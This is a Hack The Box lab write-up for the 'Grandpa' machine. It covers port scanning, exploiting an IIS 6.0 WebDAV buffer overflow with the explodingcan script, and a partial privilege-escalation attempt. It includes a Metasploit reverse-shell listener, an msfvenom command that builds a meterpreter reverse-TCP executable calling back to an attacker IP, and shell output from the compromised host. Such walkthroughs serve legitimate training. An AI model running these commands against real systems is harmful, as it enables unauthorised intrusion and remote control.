

HTB Grandpa Writeup

writeups@centraliowacybersec.com

HTB Grandpa Thoughts

<https://app.hackthebox.com/machines/Grandpa>

Very beginner friendly box. Single port to enumerate and you will find what you're looking for very quickly. Privesc gives tons of options as well since the box is very outdated.

Table of contents

1. Skills needed and skills learned
2. High Overview
3. Initial Scan
4. Service Enumeration
5. Privilege Escalation

1. Skills needed and skills learned

- 1.1. Exploit Enumeration
- 1.2. Legacy Windows Privesc

2. High Overview

After the Nmap completed I had almost all the enumeration I needed already. The box was running IIS6.0 and server 2003. I quickly found a remote buffer overflow for IIS6.0, executed it to get onto the machine as system/network. From there I ran the exploit suggerter since I was having issues with the local powershell and got a ton of options. I picked on and got admin access within 10 minutes.

Technical Overview

Everything below is a step by step guide on my methods attempted and used, my thought processes and exactly what I did to root the machine.

3. Nmap Enumeration

- 3.1. `sudo nmap -T4 -p- -v grandpa.htb`

```
PORT      STATE SERVICE
80/tcp    open  http
```

3.2. `sudo nmap -T4 -p80 -A -sC -sV -v grandpa.htb`

[illegible]

<https://github.com/danigargu/explodingcan>

4.4. If you follow the explodingcan instructions, they are pretty straight forward.

4.5. Setup a listener.

msfconsole -q -x "use multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 10.10.14.21; set lport 4444; exploit"

```
(kali㉿kali)-[~]
$ msfconsole -q -x "use multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 10.10.14.21; set lport 4444; exploit"
[*] Starting persistent handler(s) ...
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/meterpreter/reverse_tcp
lhost => 10.10.14.21
lport => 4444
[*] Started reverse TCP handler on 10.10.14.21:4444
```

4.6. Once up I ran the code from the instructions on the github and popped a shell!

```
(kali㉿kali)-[~/explodingcan]
$ ls -la
total 28
drwxr-xr-x  3 kali kali 4096 Dec  1 20:32 .
drwxr-xr-x 23 kali kali 4096 Dec  1 20:35 ..
-rw-r--r--  1 kali kali 7996 Dec  1 20:30 explodingcan.py
drwxr-xr-x  8 kali kali 4096 Dec  1 20:30 .git
-rw-r--r--  1 kali kali 1302 Dec  1 20:30 README.md
-rw-r--r--  1 kali kali  770 Dec  1 20:32 shellcode

(kali㉿kali)-[~/explodingcan]
$ python explodingcan.py http://grandpa.htb shellcode
[*] Using URL: http://grandpa.htb
[*] Server found: Microsoft-IIS/6.0
[*] Found IIS path size: 18
[*] Default IIS path: C:\Inetpub\wwwroot
[*] WebDAV request: OK
[*] Payload len: 2280
[*] Sending payload ...
```

```
meterpreter > shell
Process 2348 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service

c:\windows\system32\inetsrv>
```

5. Privilege Escalation

- 5.1. I gathered some good info and was attempting to do a manually privesc but I seemed to be battling the lack of powershell access on the box?

```
c:\windows\system32\inetsrv>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name            Description                                     State
-----
SeAuditPrivilege          Generate security audits                       Disabled
SeIncreaseQuotaPrivilege  Adjust memory quotas for a process           Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token                  Disabled
SeChangeNotifyPrivilege  Bypass traverse checking                      Enabled
SeImpersonatePrivilege    Impersonate a client after authentication     Enabled
SeCreateGlobalPrivilege  Create global objects                        Enabled

c:\windows\system32\inetsrv>
```

- 5.2. I tried this POC but the code just wouldn't even execute for some reason.

<https://github.com/TsukiCTF/Lovely-Potato>

```
(kali㉿kali)-[~/explodingcan]
└─$ git clone https://github.com/TsukiCTF/Lovely-Potato.git
Cloning into 'Lovely-Potato' ...
remote: Enumerating objects: 34, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 34 (delta 2), reused 0 (delta 0), pack-reused 28
Receiving objects: 100% (34/34), 178.04 KiB | 533.00 KiB/s, done.
Resolving deltas: 100% (12/12), done.

(kali㉿kali)-[~/explodingcan]
└─$ cd Lovely-Potato

(kali㉿kali)-[~/explodingcan/Lovely-Potato]
└─$ ls -la
total 364
drwxr-xr-x 3 kali kali 4096 Dec 1 20:43 .
drwxr-xr-x 4 kali kali 4096 Dec 1 20:43 ..
drwxr-xr-x 8 kali kali 4096 Dec 1 20:43 .git
-rw-r--r-- 1 kali kali 1951 Dec 1 20:43 Invoke-LovelyPotato.ps1
-rw-r--r-- 1 kali kali 347648 Dec 1 20:43 JuicyPotato-Static.exe
-rw-r--r-- 1 kali kali 2296 Dec 1 20:43 README.md
-rw-r--r-- 1 kali kali 285 Dec 1 20:43 test_clsids.bat

(kali㉿kali)-[~/explodingcan/Lovely-Potato]
└─$ nano Invoke-LovelyPotato.ps1

(kali㉿kali)-[~/explodingcan/Lovely-Potato]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.21 LPORT=443 -f exe -o meterpreter.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: meterpreter.exe
```

- 5.3. I eventually gave up and tried the exploit suggerter and used one of those for an easy root.

